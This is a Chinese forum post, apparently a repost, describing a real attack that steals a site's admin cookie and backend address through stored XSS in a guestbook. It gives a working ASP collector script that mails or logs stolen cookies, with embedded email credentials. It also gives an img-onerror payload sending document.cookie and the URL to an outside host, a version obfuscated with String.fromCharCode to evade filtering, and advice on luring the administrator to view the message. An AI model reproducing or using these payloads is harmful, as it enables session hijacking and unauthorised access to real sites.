XXS获取管理后台实战
N年前的文章,乱七八糟的我就都删减了 只留可以看的部分。仔细看过后发现怎么都突破不了,以为所有的文件都包含了这个conn.asp 呢,就放弃了.谁知道过了没几天叉叉兵就把我的平台首页改了.追问过后才发现,其实还有文件没有仔细看过.其实并不是很多文件都包含了这个通用防注入.漏洞代码就不放出了.要不大牛都来日了.然后就在找叉叉兵怎么得到SHELL的,后来发现留言板那问题很严重..可以XSS.既然有了注入点可以加管理,还少了个后台地址.就想跨站得到后台地址.当时犹豫ASP不太熟悉,就用JSP写了一个.刚才碰巧XXB在线,就直接要了份ASP代码.其实也就是个类似QQ马发信的代码.request接受数据,然后创建文件流 复制内容到剪贴板 代码:
<%
dizhi=request("dizhi")
SaveFile="pass.txt" '保存获取数据的TXT
IfSendMail=true '是否使用邮件发送,如果True则发送邮件不保存TXT 如果false则保存txt而不发送邮件
YourSendMail="czsteel@163.com" '修改成你自己的邮箱地址。
YourSendMailUser="cal" '邮箱登陆用户名
YourSendMailPass="a" '邮箱登陆密码 (以上3项邮箱、账号、密码改成自己的) 这里用我的备用邮箱给你们测试,24小时后我修改密码...
YourSendMailServer="smtp.163.com" '邮件服务器
'注意哦,你自己的邮箱地址必须要开通pop/smtp功能。否则不能正常发信。
'另外就是你的空间必须支持Jmail.
YourMailTitle="a" '邮件标题
YourRecvMail="a" '收取截获数据的邮箱,建议使用QQ邮箱,可以实时提示,让你第时间得到要的信息
sub sendmail(content)
On error resume next
dim JMail
Set JMail = Server.CreateObject("JMail.Message")
JMail.Logging = True
JMail.Charset = "gb2312"
JMail.ContentType = "textml"
JMail.From = YourSendMail
JMail.FromName = ""&YourSendMailUser
JMail.MailServerUserName = YourSendMailUser
JMail.MailServerPassword = YourSendMailPass
JMail.Priority = 1
JMail.AddRecipient YourRecvMail
JMail.Subject = YourMailTitle
JMail.Body = content
JMail.Send("smtp.163.com")
Set JMail = nothing
If err then
Response.write "发送失败!请检查配置!并确认你的服务器是否支持Jmail!"
' &GetPostStr
else
Response.write "发送成功!"&GetPostStr
'&GetPostStr &url
end if
end sub
GetPostStr=Request.QueryString("cookie")&"|"&dizhi
if GetPostStr="" then
Response.write "None!"
end if
if ifsendmail then
StrTemp=Replace(GetPostStr,"=",":")
StrTemp=Replace(StrTemp,"&","<br>")
StrTemp=StrTemp&"|"&Request.ServerVariables("Remote_Addr")
sendmail(StrTemp)
'ip = Request.ServerVariables("Remote_Addr")
'WriteTxt(Request.ServerVariables("Remote_Addr"),StrTemp)
else
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
TempStr=Split(GetPostStr,"&")
for TempI=0 To Ubound(TempStr)
I.WriteLine(Replace(TempStr(TempI),"=",":"))
next
I.WriteLine(now())
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end if
Function WriteTxt(ip,Str)
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath("SendIp.txt"),8,True,0)
I.WriteLine(now())
I.WriteLine(ip)
I.WriteLine(Str)
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end Function
%>
这样就实现了创建txt的功能.下面构造下跨站.<script>被过滤了.别的没过滤貌似.想获取后台就是知道他当前的document.url 就可以了.直接作为参数穿走.复制内容到剪贴板代码: 复制内容到剪贴板 代码:<img
src="x"/**/onerror="eval(img = new Image(); img.src = "
http://bbs.x-xox-x.com/url.asp?cookie="+document.cookie+"&dizhi="+document.URL;img.width=0;img.height=0)"></img>
简单解释下.一个Img标签说明是图片地址是x出错了执行后面的话,创建了一个img的对象,然后调用Img的src属性等.主要传参.我把代码发到了留言板发现不执行.估计还给过滤了.那就把代码转换成asci码,利用String.fromCharCode在解析回来.代码如下 复制内容到剪贴板 代码:<img
src="x"/**/onerror="eval(String.fromCharCode(105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,120,120,98,105,110,103,46,99,111,109,47,102,117,99,107,121,111,117,46,97,115,112,63,99,111,111,107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,38,100,105,122,104,105,61,34,43,100,111,99,117,109,101,110,116,46,85,82,76,59,105,109,103,46,119,105,100,116,104,61,48,59,105,109,103,46,104,101,105,103,104,116,61,48))"></img>
这样留言后加上管理员QQ,说管理员你们服务太差劲了,我不想多说了,去看我给你们的留言把.然后等着上钩把.这个方式试用在可以留言,有跨站,不知道后台地址的情况下.
是xss 不是xxs
页:
[1]